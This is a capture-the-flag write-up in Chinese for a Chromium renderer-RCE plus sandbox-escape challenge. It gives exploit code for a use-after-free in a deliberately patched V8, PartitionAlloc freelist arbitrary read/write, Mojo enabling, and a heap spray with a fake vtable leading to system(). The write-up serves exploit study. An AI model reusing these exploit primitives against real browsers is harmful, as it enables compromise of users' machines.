概覽
rce+sbx。
通過rce來開啟mojo,然后再sbx bypass。
調試方式
在需要調試的地方調用debug()
函數
function debug(){
for(let j = 0; j < 0x10000000; j++){
var x = 1;
for(let i = 0; i < 0x1000000; i++){
var x = x + i;
}
}
}
然后另起一個控制臺,用gdb attach render process,可用
gdb -p `ps axfh | grep type=renderer | grep chrome | awk '{print $1}' | head -1`
render process的調試方式可見https://chromium.googlesource.com/chromium/src/+/81c0fc6d4/docs/linux_debugging.md
利用
render
和之前Chromium RCE類似,區別是少了一些native function,以及變成了PartitionAlloc
diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
// 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
// 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
// exception.
- const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+ const utarget = %RawDownCast<AttachedJSTypedArray>(target);
const overloadedArg = arguments[0];
try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
// 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
// 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
// exception.
- const utypedArray =
- typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+ const utypedArray = %RawDownCast<AttachedJSTypedArray>(typedArray);
TypedArrayPrototypeSetTypedArray(
utarget, utypedArray, targetOffset, targetOffsetOverflowed)
ArrayBuffer Neuter
There is a well-known trick in browser security. Javascript allows buffers to be transferred from a source thread to a Worker thread, and the transferred buffers are not accessible (“neutered”) in the source thread. In Chrome, it would also release the buffer of the ArrayBuffer.
作用等價于釋放array buffer。
const ENABLE_NATIVE = 0
function ArrayBufferDetach(ab) {
if (ENABLE_NATIVE) {
eval("%ArrayBufferDetach(ab);");
return
}
let w = new Worker('');
w.postMessage({ab: ab}, [ab]);
w.terminate();
}
泄露
function detachBuffer(x){ // x is the ArrayBuffer that we want to detach
try{
var w = new Worker("");
w.postMessage("",[x]);
w.terminate();
}catch(ex){
console.log("exception when detaching")
}
}
var victim = new Float64Array(10).fill(12.34);
detachBuffer(victim.buffer);
//////////
// do something
//////////
var leaks = new Float64Array(10);
var data = new Float64Array(10).fill(13.37);
leaks.set(victim,0); // read from detached buffer
victim.set(data,0) // write to detached buffer
0x3b2e080a2c2d <Float64Array map = 0x3b2e08281ac1>
0x3b2e080a2be5 <ArrayBuffer map = 0x3b2e08280dc9>
free前
uaf Float64Array:
pwndbg> x/10gx 0x3e56080a2c2d-1
0x3e56080a2c2c: 0x080406e908281ac1 0x080a2be5080411a9
0x3e56080a2c3c: 0x0000000000000000 0x0000000000000008
0x3e56080a2c4c: 0x0000000000000001 0x000034d2eee04010 (backing store)
0x3e56080a2c5c: 0x0000000000000000 0x0000000000000000
0x3e56080a2c6c: 0x0804035d00000000 0x0000747474747474
uaf ArrayBuffer:
pwndbg> x/20gx 0x3e56080a2be5-1
0x3e56080a2be4: 0x080406e908280dc9 0x00000008080406e9
0x3e56080a2bf4: 0xeee0401000000000 0xa1a4d480000034d2
0x3e56080a2c04: 0x000000020000010b 0x0000000000000000
0x3e56080a2c14: 0x0000000000000000 0x0000001008040489
0x3e56080a2c24: 0x0000747474747474 0x080406e908281ac1
0x3e56080a2c34: 0x080a2be5080411a9 0x0000000000000000
0x3e56080a2c44: 0x0000000000000008 0x0000000000000001
0x3e56080a2c54: 0x000034d2eee04010 (backing store) 0x0000000000000000
0x3e56080a2c64: 0x0000000000000000 0x0804035d00000000
0x3e56080a2c74: 0x0000747474747474 0x080406e908280dc9
backing store:
pwndbg> x/10gx 0x000034d2eee04010
0x34d2eee04010: 0x0000747474747474 0x0000000000000000
0x34d2eee04020: 0x3040e0eed2340000 0x0000000000000000
0x34d2eee04030: 0x4040e0eed2340000 0x0000000000000000
0x34d2eee04040: 0x5040e0eed2340000 0x0000000000000000
0x34d2eee04050: 0x6040e0eed2340000 0x0000000000000000
PartitionAlloc Exploitation
super page布局
| Guard page (4KB) | Metadata page (4KB) | Guard pages (8KB) | Slot span | Slot span | ... | Slot span | Guard page (4KB) |
0x0000205284e00000 0x0000205284e01000 ---p // Guard page (4KB)
0x0000205284e01000 0x0000205284e02000 rw-p // Metadata page (4KB)
0x0000205284e02000 0x0000205284e04000 ---p // Guard pages (8KB)
0x0000205284e04000 0x0000205284e18000 rw-p // Slot span
0x0000205284e18000 0x0000205285000000 ---p // Guard pages (4KB)
其中,metadata page中可以泄露chrome的基址。
之前在backing store中泄露的殘留free塊指針位于Slot span
中,
通過將該地址的末五位置0就可以得到 superpage的基地址。
PartitionPage大小是0x4000,我們取出泄漏指針的末四位 >> 14就可以得到
PartitionPageIndex
PartitionPage基地址就是
Index*0x4000 + superpage的基地址
MetadataArea的基地址就是
superpage的基地址 + 0x1000
當前的MetadataArea地址就是
MetadataArea的基地址 + PartitionPageIndex * 0x20
攻擊鏈如下
當METADATA AREA的freelist指針成環后,我們就有了任意地址讀寫的能力了。通過我們下一次malloc就能拿到METADATA AREA
塊,通過改寫METADATA AREA
的freelist就能任意地址讀寫
Arbitrary read consists of following steps:
- Set first element in freelist to the destination address
- Allocate an object. PartitionAlloc will do the “unlink”, by reading first pointer from the destination address and setting it to the freelist. the object will be allocated at the destination address.
- Read first element in freelist while decoding the value, this gives the leaked bytes.
- Since the allocated object is initialized with zeroes, restore the value that was at the address by writing the leaked bytes to the allocated object.
function read64(rwHelper, addr) {
rwHelper[0] = addr; // [1]
var tmp = new BigUint64Array(1); // [2]
tmp.buffer;
gcPreventer.push(tmp);
tmp[0] = byteSwapBigInt(rwHelper[0]); // [3] [4]
return tmp[0];
}
Arbitrary write is implemented in the same manner:
- backup the original address that was in the freelist
- set first element in freelist to the destination address
- allocate an object. the object will be allocated at the destination address.
- write value into object
- fix freelist by setting address to the value that was backed up in the first step.
function write64(rwHelper, addr, value) {
var backup = rwHelper[0]
rwHelper[0] = addr;
var tmp = new BigUint64Array(1);
tmp.buffer;
tmp[0] = value;
gcPreventer.push(tmp);
rwHelper[0] = backup;
}
最后啟用mojo
的過程,需要改寫enabled_bindings
為0x2。
我們首先要拿到g_frame_map
的指針,遍歷能拿到當前frame
的RenderFrame
frame_map_ptr = chrome_base + 0xaa693a8n
console.log("chrome base @ "+ hex(chrome_base))
console.log("g_frame_map @ "+ hex(frame_map_ptr))
frame_map_ptr += 0x8n;
begin_ptr = read64(freelist,frame_map_ptr);
console.log("begin_ptr @ "+ hex(begin_ptr))
node_ptr = read64(freelist,begin_ptr+0x28n);
console.log("node_ptr @ "+hex(node_ptr));
render_frame_ptr = node_ptr;
//render_frame_ptr = read64(freelist,render_frame_ptr1);
console.log("render_frame_ptr @ "+hex(render_frame_ptr));
enabled_bindings = render_frame_ptr + 0x580n;
console.log("enabled_bindings @ "+hex(enabled_bindings));
write64(freelist,enabled_bindings,0x2n);
當改寫mojo標志后,需要重新加載頁面才能生效。為了保持freelist不崩潰,我們把freelist還原為原始的數值
console.log("go reload!!!");
freelist[0] = page_leak;
leaks[0] = (0n).i2f()
uaf.set(leaks,0);
window.location.reload();
Sandbox
先準備若干objects
var spray_inst = [];
for(var i = 0; i < 3000; i++){
var x = new blink.mojom.TStoragePtr();
Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(x).handle);
await x.init();
var z = (await x.createInstance()).instance;
spray_inst.push({"stor":x,"inst":z});
}
而后釋放spray_inst 中的指針
for(var i =0; i < 3000; i++){
if((i % 300 )== 0){continue;}
await spray_inst[i]["stor"].ptr.reset();
}
堆噴的實現https://theori.io/research/escaping-chrome-sandbox/
批量申請0x700的堆塊,寫入構造好的對象結構
- vtable ptr points to our controlled memory
- inlined properties used for GetDouble & GetInt are filled with marker objects. We can read from them in order too understand if the memory was reclaimed successfully or not.
- queue that is used for push/pop operations points to global section in libc. There we will write fake vtable
即把pop/push的指針指向預設的bss地址,這樣當我們通過push/pop方法時就能改寫bss地址內容。
改寫vtable地址為我們預設的bss地址,bss內容可控
修改double和int的屬性值為預設的marker值,這樣通過遍歷spray_inst中對象的GetDouble
和GetInt
結果,如果發現和marker的值相同,說明已經分配到了被控的對象,通過push/pop改寫bss內容為目標執行函數,再執行vtable函數即可。
////////////////////////////
var atoi_addr = (await spray_inst[0]["stor"].getLibcAddress()).addr // provided leak
libc_base = atoi_addr - 0x40680;
libc_bss_addr = libc_base + 0x3eb000
system_ptr = libc_base + 0x4f440;
setcontext = libc_base + 0x520c7
console.log("libc base @ "+hex(libc_base))
console.log("bss @ "+hex(libc_bss_addr))
console.log("system_ptr @ "+hex(system_ptr))
let alloc_count = 0x1000;
let data = new ArrayBuffer(0x700); // spray size
let b64arr = new BigUint64Array(data);
let view = new DataView(data);
b64arr.fill(0x41414242434344n);
let sprayed_val = 0x41414242434344
var bss_offs = libc_bss_addr+0xae0;
console.log("writing to "+hex(bss_offs));
/* ROP */
b64arr[0] = BigInt(bss_offs-0x10);
b64arr[0xa8/8] = BigInt(system_ptr); // rcx, future rip
b64arr[0x68/8] = BigInt(bss_offs+8); // rdi
//view.setUint8(command.length,0x0);
b64arr[(0x670/8)] = BigInt(sprayed_val); // double offs
b64arr[(0x648/8)] = BigInt(bss_offs);
b64arr[(0x650/8)] = BigInt(bss_offs) // vtable things
b64arr[(0x658/8)] = BigInt(bss_offs)
b64arr[(0x660/8)] = BigInt(0n)
/////////////
// bug trigger code is here, just not shown in this snippet :)
////////////
await (Array(alloc_count).fill().map(() => allocate(data))) // go reclaim!
for(var i = 0; i < spray_inst.length-1; i++){
var tmp = (await spray_inst[i]["inst"].getDouble()).value.f2i()
//console.log("i->"+ i + " " + tmp.toString(16));
if(BigInt(tmp) == sprayed_val && (used_indexes.indexOf(i) == -1)){
used_indexes.push(i);
console.log("siced");
(await spray_inst[i]["inst"].push(setcontext)); // push writes to bss
(await spray_inst[i]["inst"].push(0x2a67616c662f2e)); // "./flag*"
(await spray_inst[i]["inst"].getTotalSize());
break top;
}
}
其中,getAllocationConstructor
實現如下
function getAllocationConstructor() {
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
Mojo.bindInterface(blink.mojom.BlobRegistry.name,
mojo.makeRequest(blob_registry_ptr).handle, "process", true);
function Allocation(size=0x700) {
function ProgressClient(allocate) {
function ProgressClientImpl() {
}
ProgressClientImpl.prototype = {
onProgress: async (arg0) => {
if (this.allocate.writePromise) {
this.allocate.writePromise.resolve(arg0);
}
}
};
this.allocate = allocate;
this.ptr = new mojo.AssociatedInterfacePtrInfo();
var progress_client_req = mojo.makeRequest(this.ptr);
this.binding = new mojo.AssociatedBinding(
blink.mojom.ProgressClient, new ProgressClientImpl(), progress_client_req
);
return this;
}
this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size});
this.progressClient = new ProgressClient(this);
blob_registry_ptr.registerFromStream("", "", size, this.pipe.consumer, this.progressClient.ptr).then((res) => {
this.serialized_blob = res.blob;
})
this.malloc = async function(data) {
promise = new Promise((resolve, reject) => {
this.writePromise = {resolve: resolve, reject: reject};
});
this.pipe.producer.writeData(data);
this.pipe.producer.close();
written = await promise;
console.assert(written == data.byteLength);
}
this.free = async function() {
this.serialized_blob.blob.ptr.reset();
await sleep(1000);
}
this.read = function(offset, length) {
this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length});
this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null);
return new Promise((resolve) => {
this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => {
result = new ArrayBuffer(length);
this.readpipe.consumer.readData(result);
this.watcher.cancel();
resolve(result);
});
});
}
this.readQword = async function(offset) {
let res = await this.read(offset, 8);
return (new DataView(res)).getBigUint64(0, true);
}
return this;
}
async function allocate(data) {
let allocation = new Allocation(data.byteLength);
await allocation.malloc(data);
return allocation;
}
return allocate;
}
murmur
本地調試的時候,在關閉ENABLE_NATIVE
的時候,Neuter(即free array buffer)會失敗,打印錯誤原因為SecurityError: Failed to construct 'Worker'
這是因為Workers are restricted by the Same Origin Policy
,在打開local file
或者relative URL
的時候,不被允許創建Worker
可以在chrome的啟動參數添加--allow-file-access-from-files
,獲取本地起服務器通過url來訪問網頁。